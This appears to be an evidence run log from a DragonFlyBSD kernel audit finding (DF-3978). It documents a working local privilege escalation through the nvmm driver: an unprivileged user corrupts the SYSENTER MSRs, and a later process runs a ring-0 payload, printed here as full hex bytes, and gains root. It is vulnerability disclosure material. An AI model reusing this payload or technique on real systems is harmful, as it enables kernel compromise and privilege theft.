⬢ DragonFlyBSD Kernel Audit
DF-3978 / run.log
← back to finding ↓ download raw
# DF-3978 evidence run log — VULNERABLE nvmm.ko (QEMU TCG +svm)

Private QEMU instance: `qemu-system-x86_64 7.2.22 -accel tcg,thread=multi
-cpu qemu64,+svm,+npt -m 2048 -smp 1 -drive file=<overlay of the harness
disk>,if=virtio -d int,cpu_reset`.  nvmm.ko built from source with the
disclosed test-only NRIPS ident-gate relaxation (test_relax.diff), i.e.
the stock vulnerable save/restore path, bit-identical.  Every command in
this log ran as the unprivileged user `testnv` (uid 1002, group nvmm)
except the `sysctl kern.df3978_*` rig queries (root, read-only).

```
########## DF-3978 EVIDENCE RUN (vulnerable nvmm.ko, QEMU TCG +svm) ##########
DragonFly dfbsd 6.5-DEVELOPMENT DragonFly 6.5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC 2026     root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC  x86_64
BUILD: cc -O2 -o /tmp/exploit exploit.c -I/usr/src/sys rc=0
crw-r-----  1 root  nvmm   32, 0x00000000 Oct 12 02:02 /dev/nvmm
uid=1002(testnv) gid=1002(testnv) groups=1002(testnv), 90(nvmm)
=== rig: baseline MSRs (pre-attack) ===
kern.df3978_msrs: cs=0 esp=0 eip=0
=== STAGE baseline (clean host, compat sysenter consumer) ===
[*] DF-3978 exploit; pid=834 pproc=0x1 off(p_ucred)=0x10 off(cr_uid)=0x40
[*] uid=1002 euid=1002
[P] payload bytes @0x40000000:480f20c048a3000f00400000000048a1100f004000000000488b80100000004885c0741ec7804000000000000000c780a000000000000000c780a400000000000000c70425080f0040783900006a2348
[baseline] compat sysenter (child): faulted (status 138)
[baseline] guest survived: pid=834 alive
=== STAGE arm (unprivileged nvmm user arms + one VCPU_RUN) ===
[*] DF-3978 exploit; pid=839 pproc=0x1 off(p_ucred)=0x10 off(cr_uid)=0x40
[*] uid=1002 euid=1002
[P] payload bytes @0x40000000:480f20c048a3000f00400000000048a1100f004000000000488b80100000004885c0741ec7804000000000000000c780a000000000000000c780a400000000000000c70425080f0040783900006a2348
[A] baseline compat sysenter (child): faulted (status 138)
[A0] 64-bit sysenter direct: faulted (signal 4) [Intel-SDM #UD rule under QEMU; valid on AMD silicon]
[B] nvmm capability v3 ok
[B] setstate ok: SYSENTER_CS=0x8 ESP=0x50000800 EIP=0x40000000 (payload page) armed
[B] vcpu_run rc=0 exit.reason=0 (any rc suffices: the asm prologue's vmload already loaded the guest SYSENTER MSRs)
[arm] armed and one VCPU_RUN done; exiting with MSRs left corrupted (the finding's persistence property)
=== rig: MSRs after attack (arming process has exited) ===
kern.df3978_msrs: cs=0x8 esp=0x50000800 eip=0x40000000
=== STAGE consume (fresh process, never touched nvmm) ===
rig resolve: pid=848 proc=0xfffff80066764b80
[*] DF-3978 exploit; pid=848 pproc=0 off(p_ucred)=0x10 off(cr_uid)=0x40
[*] uid=1002 euid=1002
[W] pid=848: waiting for /tmp/df3978.pproc ...
[W] got pproc=0xfffff80066764b80
[P] payload bytes @0x40000000:480f20c048a3000f00400000000048a1100f004000000000488b80100000004885c0741ec7804000000000000000c780a000000000000000c780a400000000000000c70425080f0040783900006a2348
[consume] forking consumer child (compat-mode sysenter) ...
[C5] RETURNED FROM RING 0 (child pid=867): cr0=0x80050033 marker=0x3978   *** RING 0 EXECUTED ***
[C6] child's own uid=0 (the payload patched the PARENT's creds; the child never opened /dev/nvmm)
[consume] consumer child returned FROM RING 0; this process now has uid=0 euid=0   *** UID 0 ***
uid=0(root) gid=1002(testnv) groups=1002(testnv), 90(nvmm)
-rw-r--r--  1 root  wheel 13 Oct 12 02:02 /tmp/df3978_pwned
=== rig: MSRs post-pivot ===
kern.df3978_msrs: cs=0x8 esp=0x50000800 eip=0x40000000
=== artifacts ===
-rw-r--r--  1 root  wheel 13 Oct 12 02:02 /tmp/df3978_pwned
DF3978-PWNED
=== guest survived ===
 2:03AM  up 1 min, 0 users, load averages: 1.27, 0.46, 0.17
```

Notes:
* `status 138` = 128+SIGBUS = the clean-host `sysenter` #GP (CS=0).
* The consume-stage child **never opened /dev/nvmm**; it pivoted on the
  CPU-global MSR state corrupted by the (already exited) arming process.
* The successful pivot generates **zero** CPU exceptions (clean ring-0
  excursion + iretq back); positive CPL0-entry traces from the debug
  iterations are preserved in `intlog-excerpt.txt`.